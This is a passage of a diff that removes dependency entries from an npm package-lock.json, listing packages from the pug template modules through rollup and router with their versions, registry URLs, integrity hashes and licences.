"constantinople": "^4.0.1", - "js-stringify": "^1.0.2", - "pug-runtime": "^3.0.0" - } - }, - "node_modules/pug-code-gen": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/pug-code-gen/-/pug-code-gen-3.0.4.tgz", - "integrity": "sha512-6okWYIKdasTyXICyEtvobmTZAVX57JkzgzIi4iRJlin8kmhG+Xry2dsus+Mun/nGCn6F2U49haHI5mkELXB14g==", - "dev": true, - "license": "MIT", - "dependencies": { - "constantinople": "^4.0.1", - "doctypes": "^1.1.0", - "js-stringify": "^1.0.2", - "pug-attrs": "^3.0.0", - "pug-error": "^2.1.0", - "pug-runtime": "^3.0.1", - "void-elements": "^3.1.0", - "with": "^7.0.0" - } - }, - "node_modules/pug-error": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/pug-error/-/pug-error-2.1.0.tgz", - "integrity": "sha512-lv7sU9e5Jk8IeUheHata6/UThZ7RK2jnaaNztxfPYUY+VxZyk/ePVaNZ/vwmH8WqGvDz3LrNYt/+gA55NDg6Pg==", - "dev": true, - "license": "MIT" - }, - "node_modules/pug-filters": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/pug-filters/-/pug-filters-4.0.0.tgz", - "integrity": "sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==", - "dev": true, - "license": "MIT", - "dependencies": { - "constantinople": "^4.0.1", - "jstransformer": "1.0.0", - "pug-error": "^2.0.0", - "pug-walk": "^2.0.0", - "resolve": "^1.15.1" - } - }, - "node_modules/pug-lexer": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/pug-lexer/-/pug-lexer-5.0.1.tgz", - "integrity": "sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==", - "dev": true, - "license": "MIT", - "dependencies": { - "character-parser": "^2.2.0", - "is-expression": "^4.0.0", - "pug-error": "^2.0.0" - } - }, - "node_modules/pug-linker": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/pug-linker/-/pug-linker-4.0.0.tgz", - "integrity": "sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==", - "dev": true, - "license": "MIT", - "dependencies": { - "pug-error": "^2.0.0", - "pug-walk": "^2.0.0" - } - }, - "node_modules/pug-load": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pug-load/-/pug-load-3.0.0.tgz", - "integrity": "sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "object-assign": "^4.1.1", - "pug-walk": "^2.0.0" - } - }, - "node_modules/pug-parser": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/pug-parser/-/pug-parser-6.0.0.tgz", - "integrity": "sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==", - "dev": true, - "license": "MIT", - "dependencies": { - "pug-error": "^2.0.0", - "token-stream": "1.0.0" - } - }, - "node_modules/pug-runtime": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/pug-runtime/-/pug-runtime-3.0.1.tgz", - "integrity": "sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==", - "dev": true, - "license": "MIT" - }, - "node_modules/pug-strip-comments": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pug-strip-comments/-/pug-strip-comments-2.0.0.tgz", - "integrity": "sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "pug-error": "^2.0.0" - } - }, - "node_modules/pug-walk": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pug-walk/-/pug-walk-2.0.0.tgz", - "integrity": "sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/pump": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz", - "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==", - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/pumpify": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-2.0.1.tgz", - "integrity": "sha512-m7KOje7jZxrmutanlkS1daj1dS6z6BgslzOXmcSEpIlCxM3VJH7lG5QLeck/6hgF6F4crFf01UtQmNsJfweTAw==", - "license": "MIT", - "dependencies": { - "duplexify": "^4.1.1", - "inherits": "^2.0.3", - "pump": "^3.0.0" - } - }, - "node_modules/puppeteer-core": { - "version": "24.42.0", - "resolved": "https://registry.npmjs.org/puppeteer-core/-/puppeteer-core-24.42.0.tgz", - "integrity": "sha512-T4zXokk/izH01fYPhyyev1A4piWiOKrYq7CUFpdoYQxmOnXoV6YjUabmfIjCYkNspSoAXIxRid3Tw+Vg0fthYg==", - "license": "Apache-2.0", - "dependencies": { - "@puppeteer/browsers": "2.13.0", - "chromium-bidi": "14.0.0", - "debug": "^4.4.3", - "devtools-protocol": "0.0.1595872", - "typed-query-selector": "^2.12.1", - "webdriver-bidi-protocol": "0.4.1", - "ws": "^8.19.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/pure-rand": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-8.4.0.tgz", - "integrity": "sha512-IoM8YF/jY0hiugFo/wOWqfmarlE6J0wc6fDK1PhftMk7MGhVZl88sZimmqBBFomLOCSmcCCpsfj7wXASCpvK9A==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/dubzzz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fast-check" - } - ], - "license": "MIT" - }, - "node_modules/qs": { - "version": "6.15.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.0.tgz", - "integrity": "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==", - "license": "BSD-3-Clause", - "dependencies": { - "side-channel": "^1.1.0" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/quickjs-wasi": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/quickjs-wasi/-/quickjs-wasi-2.2.0.tgz", - "integrity": "sha512-zQxXmQMrEoD3S+jQdYsloq4qAuaxKFHZj6hHqOYGwB2iQZH+q9e/lf5zQPXCKOk0WJuAjzRFbO4KwHIp2D05Iw==", - "license": "MIT" - }, - "node_modules/quote-unquote": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/quote-unquote/-/quote-unquote-1.0.0.tgz", - "integrity": "sha512-twwRO/ilhlG/FIgYeKGFqyHhoEhqgnKVkcmqMKi2r524gz3ZbDTcyFt38E9xjJI2vT+KbRNHVbnJ/e0I25Azwg==", - "dev": true, - "license": "MIT" - }, - "node_modules/range-parser": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", - "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/raw-body": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", - "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", - "license": "MIT", - "dependencies": { - "bytes": "~3.1.2", - "http-errors": "~2.0.1", - "iconv-lite": "~0.7.0", - "unpipe": "~1.0.0" - }, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/rc": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", - "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", - "dev": true, - "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", - "dependencies": { - "deep-extend": "^0.6.0", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "bin": { - "rc": "cli.js" - } - }, - "node_modules/rc/node_modules/strip-json-comments": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/read-package-up": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/read-package-up/-/read-package-up-11.0.0.tgz", - "integrity": "sha512-MbgfoNPANMdb4oRBNg5eqLbB2t2r+o5Ua1pNt8BqGp4I0FJZhuVSOj3PaBPni4azWuSzEdNn2evevzVmEk1ohQ==", - "license": "MIT", - "dependencies": { - "find-up-simple": "^1.0.0", - "read-pkg": "^9.0.0", - "type-fest": "^4.6.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/read-package-up/node_modules/type-fest": { - "version": "4.41.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", - "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", - "license": "(MIT OR CC0-1.0)", - "engines": { - "node": ">=16" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/read-pkg": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-9.0.1.tgz", - "integrity": "sha512-9viLL4/n1BJUCT1NXVTdS1jtm80yDEgR5T4yCelII49Mbj0v1rZdKqj7zCiYdbB0CuCgdrvHcNogAKTFPBocFA==", - "license": "MIT", - "dependencies": { - "@types/normalize-package-data": "^2.4.3", - "normalize-package-data": "^6.0.0", - "parse-json": "^8.0.0", - "type-fest": "^4.6.0", - "unicorn-magic": "^0.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/read-pkg/node_modules/type-fest": { - "version": "4.41.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", - "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", - "license": "(MIT OR CC0-1.0)", - "engines": { - "node": ">=16" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/read-pkg/node_modules/unicorn-magic": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz", - "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/readable-stream": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", - "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", - "license": "MIT", - "dependencies": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/readdirp": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.0.0.tgz", - "integrity": "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ==", - "license": "MIT", - "engines": { - "node": ">= 20.19.0" - }, - "funding": { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/remark-parse": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz", - "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "mdast-util-from-markdown": "^2.0.0", - "micromark-util-types": "^2.0.0", - "unified": "^11.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/repeat-string": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", - "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10" - } - }, - "node_modules/reprism": { - "version": "0.0.11", - "resolved": "https://registry.npmjs.org/reprism/-/reprism-0.0.11.tgz", - "integrity": "sha512-VsxDR5QxZo08M/3nRypNlScw5r3rKeSOPdU/QhDmu3Ai3BJxHn/qgfXGWQp/tAxUtzwYNo9W6997JZR0tPLZsA==", - "dev": true, - "license": "MIT" - }, - "node_modules/require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/require-from-string": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/require-in-the-middle": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-8.0.1.tgz", - "integrity": "sha512-QT7FVMXfWOYFbeRBF6nu+I6tr2Tf3u0q8RIEjNob/heKY/nh7drD/k7eeMFmSQgnTtCzLDcCu/XEnpW2wk4xCQ==", - "license": "MIT", - "dependencies": { - "debug": "^4.3.5", - "module-details-from-path": "^1.0.3" - }, - "engines": { - "node": ">=9.3.0 || >=8.10.0 <9.0.0" - } - }, - "node_modules/requirejs": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/requirejs/-/requirejs-2.3.8.tgz", - "integrity": "sha512-7/cTSLOdYkNBNJcDMWf+luFvMriVm7eYxp4BcFCsAX0wF421Vyce5SXP17c+Jd5otXKGNehIonFlyQXSowL6Mw==", - "dev": true, - "license": "MIT", - "bin": { - "r_js": "bin/r.js", - "r.js": "bin/r.js" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/requirejs-config-file": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/requirejs-config-file/-/requirejs-config-file-4.0.0.tgz", - "integrity": "sha512-jnIre8cbWOyvr8a5F2KuqBnY+SDA4NXr/hzEZJG79Mxm2WiFQz2dzhC8ibtPJS7zkmBEl1mxSwp5HhC1W4qpxw==", - "dev": true, - "license": "MIT", - "dependencies": { - "esprima": "^4.0.0", - "stringify-object": "^3.2.1" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/resolve": { - "version": "1.22.12", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", - "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "is-core-module": "^2.16.1", - "path-parse": "^1.0.7", - "supports-preserve-symlinks-flag": "^1.0.0" - }, - "bin": { - "resolve": "bin/resolve" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/resolve-dependency-path": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/resolve-dependency-path/-/resolve-dependency-path-4.0.1.tgz", - "integrity": "sha512-YQftIIC4vzO9UMhO/sCgXukNyiwVRCVaxiWskCBy7Zpqkplm8kTAISZ8O1MoKW1ca6xzgLUBjZTcDgypXvXxiQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/restore-cursor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", - "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", - "dev": true, - "license": "MIT", - "dependencies": { - "onetime": "^5.1.0", - "signal-exit": "^3.0.2" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/retry": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", - "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/retry-request": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/retry-request/-/retry-request-7.0.2.tgz", - "integrity": "sha512-dUOvLMJ0/JJYEn8NrpOaGNE7X3vpI5XlZS/u0ANjqtcZVKnIxP7IgCFwrKTxENw29emmwug53awKtaMm4i9g5w==", - "license": "MIT", - "dependencies": { - "@types/request": "^2.48.8", - "extend": "^3.0.2", - "teeny-request": "^9.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/reusify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - "dev": true, - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rimraf": { - "version": "5.0.10", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-5.0.10.tgz", - "integrity": "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ==", - "license": "ISC", - "dependencies": { - "glob": "^10.3.7" - }, - "bin": { - "rimraf": "dist/esm/bin.mjs" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/rimraf/node_modules/@isaacs/cliui": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", - "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", - "license": "ISC", - "dependencies": { - "string-width": "^5.1.2", - "string-width-cjs": "npm:string-width@^4.2.0", - "strip-ansi": "^7.0.1", - "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", - "wrap-ansi": "^8.1.0", - "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/rimraf/node_modules/ansi-styles": { - "version": "6.2.3", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", - "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/rimraf/node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "license": "MIT" - }, - "node_modules/rimraf/node_modules/brace-expansion": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.0.tgz", - "integrity": "sha512-TN1kCZAgdgweJhWWpgKYrQaMNHcDULHkWwQIspdtjV4Y5aurRdZpjAqn6yX3FPqTA9ngHCc4hJxMAMgGfve85w==", - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/rimraf/node_modules/emoji-regex": { - "version": "9.2.2", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", - "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", - "license": "MIT" - }, - "node_modules/rimraf/node_modules/glob": { - "version": "10.5.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", - "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", - "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", - "license": "ISC", - "dependencies": { - "foreground-child": "^3.1.0", - "jackspeak": "^3.1.2", - "minimatch": "^9.0.4", - "minipass": "^7.1.2", - "package-json-from-dist": "^1.0.0", - "path-scurry": "^1.11.1" - }, - "bin": { - "glob": "dist/esm/bin.mjs" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/rimraf/node_modules/jackspeak": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", - "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", - "license": "BlueOak-1.0.0", - "dependencies": { - "@isaacs/cliui": "^8.0.2" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - }, - "optionalDependencies": { - "@pkgjs/parseargs": "^0.11.0" - } - }, - "node_modules/rimraf/node_modules/lru-cache": { - "version": "10.4.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", - "license": "ISC" - }, - "node_modules/rimraf/node_modules/minimatch": { - "version": "9.0.9", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", - "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.2" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/rimraf/node_modules/path-scurry": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", - "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", - "license": "BlueOak-1.0.0", - "dependencies": { - "lru-cache": "^10.2.0", - "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" - }, - "engines": { - "node": ">=16 || 14 >=14.18" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/rimraf/node_modules/string-width": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", - "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", - "license": "MIT", - "dependencies": { - "eastasianwidth": "^0.2.0", - "emoji-regex": "^9.2.2", - "strip-ansi": "^7.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/rimraf/node_modules/wrap-ansi": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", - "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", - "license": "MIT", - "dependencies": { - "ansi-styles": "^6.1.0", - "string-width": "^5.0.1", - "strip-ansi": "^7.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/rollup": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", - "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.8" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.59.0", - "@rollup/rollup-android-arm64": "4.59.0", - "@rollup/rollup-darwin-arm64": "4.59.0", - "@rollup/rollup-darwin-x64": "4.59.0", - "@rollup/rollup-freebsd-arm64": "4.59.0", - "@rollup/rollup-freebsd-x64": "4.59.0", - "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", - "@rollup/rollup-linux-arm-musleabihf": "4.59.0", - "@rollup/rollup-linux-arm64-gnu": "4.59.0", - "@rollup/rollup-linux-arm64-musl": "4.59.0", - "@rollup/rollup-linux-loong64-gnu": "4.59.0", - "@rollup/rollup-linux-loong64-musl": "4.59.0", - "@rollup/rollup-linux-ppc64-gnu": "4.59.0", - "@rollup/rollup-linux-ppc64-musl": "4.59.0", - "@rollup/rollup-linux-riscv64-gnu": "4.59.0", - "@rollup/rollup-linux-riscv64-musl": "4.59.0", - "@rollup/rollup-linux-s390x-gnu": "4.59.0", - "@rollup/rollup-linux-x64-gnu": "4.59.0", - "@rollup/rollup-linux-x64-musl": "4.59.0", - "@rollup/rollup-openbsd-x64": "4.59.0", - "@rollup/rollup-openharmony-arm64": "4.59.0", - "@rollup/rollup-win32-arm64-msvc": "4.59.0", - "@rollup/rollup-win32-ia32-msvc": "4.59.0", - "@rollup/rollup-win32-x64-gnu": "4.59.0", - "@rollup/rollup-win32-x64-msvc": "4.59.0", - "fsevents": "~2.3.2" - } - }, - "node_modules/router": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", - "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", - "license": "MIT", - "dependencies": { - "debug": "^4.4.0", - "depd": "^2.0.0", - "is-promise": "^4.0.0", - "parseurl": "^1.3.3", - "path-to-regexp": "^8.0.0" - }, - "engines": { - "node": ">= 18" - } - }, - 